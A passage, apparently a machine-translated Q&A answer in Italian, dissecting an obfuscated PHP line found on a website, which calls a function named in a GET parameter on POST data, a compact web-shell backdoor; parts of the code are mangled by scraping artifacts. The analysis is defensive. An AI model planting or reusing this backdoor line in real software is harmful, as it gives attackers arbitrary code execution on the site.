Rompiamo questo un po ':
([email protected]$_GET[page])
.
@$_($_POST[404]);
In primo luogo, questo è due espressioni essere concatenati con il periodo: ()
.
()
.
Nella prima espressione, $_
=
, $_
è una variabile, e viene assegnato alla variabile =
$_GET['page']
, o forse l'uscita di una funzione anonima fa riferimento. Se fa riferimento a una funzione anonima, lo @
eliminerebbe eventuali errori da esso.
La seconda espressione, @
$_(
$_POST[404]
);
sta partendo con soppressione errore @
della funzione anonima $_
, che si può dire ora è una funzione anonima essere chiamato perché è seguito da (
. L'argomento passato a questa funzione è $_POST['404']
, quindi la seconda parentesi chiude la chiamata.
Quindi penso che i tuoi sospetti siano corretti; questo sembra codice offuscato destinato a sembrare innocuo o parte del sito. Sospetto che i valori per e $_POST[404]
siano forse stringhe javascript il cui eco nella pagina potrebbe installare malware o adware.
È possibile eseguire il debug di questo più osservando i valori di queste due variabili e vedendo quello che sono.
Come meglio posso dire senza conoscere i valori in GET e POST, sembra che la variabile $_
sia assegnata alla stringa , che sarebbe qualunque cosa qualcuno sottopone all'URL quando carica la pagina. Quindi, sono in grado di passare il nome della stringa a qualsiasi funzione al sito e di averlo in ambito PHP.
Quindi, eseguono tale funzione arbitraria sul valore $_POST['404']
. Quel valore è anche qualunque sia il browser o utente POST
s alla pagina.
La concatenazione e la parentesi esterna ().()
potrebbero essere solo più offuscamento o il punto di questo codice potrebbe essere quello di echo semplicemente i risultati di questo codice sulla pagina (per iniettare javascript) per esempio. Ma è anche possibile che chiamino la funzione che vogliono su qualunque argomento abbiano passato. Non posso dirlo semplicemente guardando, ma probabilmente qualcuno più esperto di PHP potrebbe farlo.
"qui" dove? Penso che tu abbia dimenticato il link –
Grazie mille. Ottima spiegazione Andando a votare in circa 3 minuti. –